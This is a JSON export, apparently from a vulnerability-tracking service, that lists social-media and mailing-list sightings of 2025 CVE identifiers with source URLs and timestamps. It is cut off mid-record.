{"vulnerability": "2025-45", "sightings": [{"uuid": "116ff4b1-7417-4ae7-97f6-01b9c8b55bf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45343", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqams2yh3wj2", "content": "", "creation_timestamp": "2025-05-28T16:29:46.021186Z"}, {"uuid": "4ba6ac10-d59b-4a7c-af70-645057e08590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45343", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqaoknpij627", "content": "", "creation_timestamp": "2025-05-28T17:01:19.635429Z"}, {"uuid": "104c9ed7-b849-41d5-b89d-030300e47437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4568", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqualmj5oiv2", "content": "", "creation_timestamp": "2025-06-05T11:47:16.549806Z"}, {"uuid": "42e44e54-d9b7-4606-afcf-b3fb37dd51e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "79ab8338-3334-40a7-abe1-2585fc7344cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lrjkkq2dvk2g", "content": "", "creation_timestamp": "2025-06-13T23:08:57.058308Z"}, {"uuid": "6c3f1fdf-374a-423f-82d5-6cedc6777ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lq42u4tijs23", "content": "", "creation_timestamp": "2025-05-26T20:58:04.232351Z"}, {"uuid": "fab318af-204f-4fe5-ae03-0d01b35fff7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45388", "type": "seen", "source": "https://bsky.app/profile/dasgeldco.bsky.social/post/3lrqlpw3ipy2l", "content": "", "creation_timestamp": "2025-06-16T18:18:22.655843Z"}, {"uuid": "e338ecb2-771d-41fd-9522-760a184e1412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45388", "type": "seen", "source": "https://bsky.app/profile/eldinerolat.bsky.social/post/3lrqlr4szyh2s", "content": "", "creation_timestamp": "2025-06-16T18:19:02.970046Z"}, {"uuid": "f56bc509-23d1-40be-a239-73bf9431df21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45854", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lrygbxiay52v", "content": "", "creation_timestamp": "2025-06-19T21:02:24.908172Z"}, {"uuid": "09012c4d-b3f1-4c6b-958f-390983fd1d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114694608316188948", "content": "", "creation_timestamp": "2025-06-16T19:07:15.535035Z"}, {"uuid": "7738ad17-efe8-4df5-b66a-ff596a3b9eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "8aa31c9c-2405-4b63-bc2e-c6aa7c87110f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/bitnami.bsky.social/post/3lqul6wqw722o", "content": "", "creation_timestamp": "2025-06-05T14:54:22.531939Z"}, {"uuid": "ae133b2b-043b-4511-a6fe-792dca0f9a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45809", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lt3tjunxb22r", "content": "", "creation_timestamp": "2025-07-03T23:02:38.225551Z"}, {"uuid": "82151427-ef97-47fe-abaa-28ed0a495ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45752", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpplbf2og42l", "content": "", "creation_timestamp": "2025-05-21T21:47:11.854817Z"}, {"uuid": "b2b7f183-498d-4a15-957d-e353f193f0c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45755", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lppmiplbqn24", "content": "", "creation_timestamp": "2025-05-21T22:09:11.634748Z"}, {"uuid": "5e0e64be-aca1-42cc-990d-f16d7040a405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3ls7lhgnjcs2f", "content": "", "creation_timestamp": "2025-06-22T17:23:36.225330Z"}, {"uuid": "04c267aa-c359-440f-b68b-a16325695b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lqr3shjbec2h", "content": "", "creation_timestamp": "2025-06-04T05:40:56.378714Z"}, {"uuid": "93e1be2c-1634-4bcd-8200-1995ca5faec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lqr3upncmg2c", "content": "", "creation_timestamp": "2025-06-04T05:42:11.895734Z"}, {"uuid": "eb5e8c8d-206b-4f93-8cdf-5654741ee469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4563", "type": "seen", "source": "https://bsky.app/profile/kubernetes.dev/post/3lrypytw4yz2o", "content": "", "creation_timestamp": "2025-06-19T23:56:15.748371Z"}, {"uuid": "214241f0-8561-4463-b060-a824654cc4ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lpjldphjtc2p", "content": "", "creation_timestamp": "2025-05-19T12:32:31.449391Z"}, {"uuid": "8c70cb2c-6e63-44f3-a577-d8cf7a85c30f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "seen", "source": "https://bsky.app/profile/news0.bsky.social/post/3lqfwpfs3sl2v", "content": "", "creation_timestamp": "2025-05-30T19:10:28.166374Z"}, {"uuid": "feeb0282-6906-406f-92b8-a9c16f5a2d12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45753", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lppxs475wf2q", "content": "", "creation_timestamp": "2025-05-22T01:31:18.067872Z"}, {"uuid": "a1f764fd-2999-46e1-85e2-53cc62578aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4563", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3lsgjg737c4e2", "content": "", "creation_timestamp": "2025-06-25T11:36:09.842859Z"}, {"uuid": "54adfa88-e2a8-429e-9c9a-efcc491651f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4580", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqr7qks4bi2q", "content": "", "creation_timestamp": "2025-06-04T06:51:27.435639Z"}, {"uuid": "015ae751-5795-4290-b851-6aa30667e9ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4563", "type": "seen", "source": "https://bsky.app/profile/kubernetes.io/post/3lryxblbmcm26", "content": "", "creation_timestamp": "2025-06-20T02:06:25.083434Z"}, {"uuid": "96538570-9977-4aa6-920f-4a2d4d5640cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4578", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqratazuqm2e", "content": "", "creation_timestamp": "2025-06-04T07:10:51.753917Z"}, {"uuid": "f7990d6b-05d4-4c84-8523-9f6a96ebbfc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lqnb6v5jzn26", "content": "", "creation_timestamp": "2025-06-02T17:06:43.427535Z"}, {"uuid": "764c4f6d-963e-4ef3-8bf6-62cd6299bd07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "40c1738e-ddb0-4cb0-ba26-578aa9ef1062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lsaud53atp2q", "content": "", "creation_timestamp": "2025-06-23T05:34:53.403166Z"}, {"uuid": "4b45589a-ff01-41cc-809a-34bb5a955c9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4563", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lsgpms3qk3w2", "content": "", "creation_timestamp": "2025-06-25T13:26:53.635863Z"}, {"uuid": "578cc9fe-4cd4-4963-9b64-6aef2f571420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/166", "content": "", "creation_timestamp": "2025-05-19T05:46:41.000000Z"}, {"uuid": "86652ec1-cf0c-4b68-875b-d8f5a8d69661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lqrhikjjuc2h", "content": "", "creation_timestamp": "2025-06-04T09:10:08.893019Z"}, {"uuid": "58377a3f-aa66-46ed-8f06-26912d20a2e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45542", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lqrj7rupic2h", "content": "", "creation_timestamp": "2025-06-04T09:41:01.854612Z"}, {"uuid": "89ea9a6e-2b98-4510-81b5-255dfd7e17ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3lqrkcwqeoq2q", "content": "", "creation_timestamp": "2025-06-04T10:00:41.437787Z"}, {"uuid": "94582644-82d1-4c86-ba9d-f4b3feb844d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4563", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3lsgxtkkzbs24", "content": "", "creation_timestamp": "2025-06-25T15:53:46.525814Z"}, {"uuid": "e70d862b-c415-40fa-b3fc-84d191792bf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "47aa99e1-50c7-4104-8808-4d02f2cd219b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4583", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqc3juctenz2", "content": "", "creation_timestamp": "2025-05-29T06:26:44.164648Z"}, {"uuid": "29d1129d-0d66-44e7-a322-67b75b62cf2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/hackread.bsky.social/post/3lqnfxmv5gk2c", "content": "", "creation_timestamp": "2025-06-02T18:32:11.409010Z"}, {"uuid": "1aca6cef-bd24-41f5-b451-f7d6477ea999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lqng4dmnz72c", "content": "", "creation_timestamp": "2025-06-02T18:34:46.013594Z"}, {"uuid": "b841522e-4a90-486f-a73b-bfb9894b2ae7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lpcj35xs2l2p", "content": "", "creation_timestamp": "2025-05-16T17:03:18.872726Z"}, {"uuid": "c8f82b3f-740f-4fd5-983d-93b90843747e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4583", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqcghjclxc2r", "content": "", "creation_timestamp": "2025-05-29T09:41:44.042084Z"}, {"uuid": "15e1bfbf-a69f-4e31-a7b7-d08b86c94a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lqnh3u6iv32q", "content": "", "creation_timestamp": "2025-06-02T18:52:24.470994Z"}, {"uuid": "5ec38045-3329-4b5f-9eb3-de351955fb0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45931", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114774193882630947", "content": "", "creation_timestamp": "2025-06-30T20:26:57.592174Z"}, {"uuid": "2f420799-e0cb-4966-845d-1a54272ed56c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45729", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114774193882630947", "content": "", "creation_timestamp": "2025-06-30T20:26:58.010008Z"}, {"uuid": "360b9ee4-085a-49c1-9b38-18dad2bce83f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3lrbld7ugpzo2", "content": "", "creation_timestamp": "2025-06-10T19:01:31.496221Z"}, {"uuid": "52b34c5c-49ee-49ab-b421-f75f9e1d96e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45737", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsl74bxh752u", "content": "", "creation_timestamp": "2025-06-27T08:14:31.843844Z"}, {"uuid": "b5f0604b-607e-450a-91bb-bc0f6675d8e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4595", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqh6zaibdj42", "content": "", "creation_timestamp": "2025-05-31T07:11:57.188252Z"}, {"uuid": "b4bec64e-fd2a-4380-b685-997619cfd654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4590", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqh6zvtjfwd2", "content": "", "creation_timestamp": "2025-05-31T07:12:30.240634Z"}, {"uuid": "d81e7056-2f79-4474-90ec-1ab442610b16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45387", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqnmz5vhmu2r", "content": "", "creation_timestamp": "2025-06-02T20:38:15.431059Z"}, {"uuid": "3c7fc8bd-9606-4168-b9b6-4ab3fce33b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/156", "content": "", "creation_timestamp": "2025-05-16T14:12:52.000000Z"}, {"uuid": "689bfa60-738d-42e7-8fac-f8e2befadb73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "7b1c173a-9be1-4749-88a0-0b75e96a06ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114551940998291137", "content": "", "creation_timestamp": "2025-05-22T14:25:05.024318Z"}, {"uuid": "fd9c38a3-8e15-4ca7-bf4d-87b1194bdd49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45854", "type": "seen", "source": "https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460", "content": "", "creation_timestamp": "2025-06-03T03:57:32.000000Z"}, {"uuid": "c93c26b5-5789-4ae7-94a5-cd309bce32da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "seen", "source": "https://mstdn.social/users/jschauma/statuses/114552192062947993", "content": "", "creation_timestamp": "2025-05-22T15:28:56.051047Z"}, {"uuid": "6c6ebc1d-7279-486b-a2ef-26753637ec34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3lprglydpwqo2", "content": "", "creation_timestamp": "2025-05-22T15:29:07.080034Z"}, {"uuid": "4bccf653-7389-4df2-b95c-00f1cb984732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45878", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lshj3dnqjg22", "content": "", "creation_timestamp": "2025-06-25T21:02:26.726604Z"}, {"uuid": "35304f14-622a-42c1-af34-e0593ac53b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltkznkudss2h", "content": "", "creation_timestamp": "2025-07-10T00:02:02.737267Z"}, {"uuid": "ef9aefbe-fc98-4a5c-bc45-633de8dca533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45880", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lshj3dpyzc2s", "content": "", "creation_timestamp": "2025-06-25T21:02:27.295848Z"}, {"uuid": "1df0f8df-969c-4e79-b618-7de28471789f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45784", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114705126585760087", "content": "", "creation_timestamp": "2025-06-18T15:42:11.685282Z"}, {"uuid": "eb684963-39a5-47e0-9fe6-0e654be02239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45985", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lshj3dsnic2j", "content": "", "creation_timestamp": "2025-06-25T21:02:27.889505Z"}, {"uuid": "bc4b1614-1343-4a68-af7f-0b2f77105f41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4567", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqomzpgpkem2", "content": "", "creation_timestamp": "2025-06-03T06:11:26.701790Z"}, {"uuid": "6c73f86c-138c-4edd-81e7-1867996d72c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45855", "type": "seen", "source": "https://gist.github.com/Cafe-Tea/b72d442be434e1dafe7810c938892b06", "content": "", "creation_timestamp": "2025-06-03T06:24:06.000000Z"}, {"uuid": "ba70785f-bf54-46e5-9d32-d44593e8a4e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lqhky5ot7y2i", "content": "", "creation_timestamp": "2025-05-31T10:45:56.866273Z"}, {"uuid": "15877bbd-0e93-4f83-ad78-e523a21dfc1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "a9252a34-b5a9-461c-8ab3-8accdd10d976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "6d7bb0af-4c94-48f9-8f67-59160b6f0616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4587", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lslh3q6opg2o", "content": "", "creation_timestamp": "2025-06-27T10:37:23.118611Z"}, {"uuid": "8f09a13e-8fec-4a8d-a993-2ca50e931b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45427", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnipapo3j32t", "content": "", "creation_timestamp": "2025-04-23T17:19:22.877324Z"}, {"uuid": "df14dd7d-693a-4a72-9c8d-61804efc1e43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45429", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnipaqoprv2a", "content": "", "creation_timestamp": "2025-04-23T17:19:27.508883Z"}, {"uuid": "b8d6c751-44a5-4a50-bf53-d0925f2c21a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45428", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnipaqstop2g", "content": "", "creation_timestamp": "2025-04-23T17:19:28.132060Z"}, {"uuid": "daf1a06b-4d42-4ce4-8556-4fc78d6b6d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45427", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114388535130823992", "content": "", "creation_timestamp": "2025-04-23T17:48:49.530731Z"}, {"uuid": "8e88ed0b-6abb-4b5b-862b-5ce5fe5fc427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45428", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114388535171619192", "content": "", "creation_timestamp": "2025-04-23T17:48:50.183801Z"}, {"uuid": "17f07c88-91fb-4c13-8e85-fc6b69944416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45429", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114388535214546789", "content": "", "creation_timestamp": "2025-04-23T17:48:50.641081Z"}, {"uuid": "8243e0aa-8ef1-4b0c-97c5-703176367c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 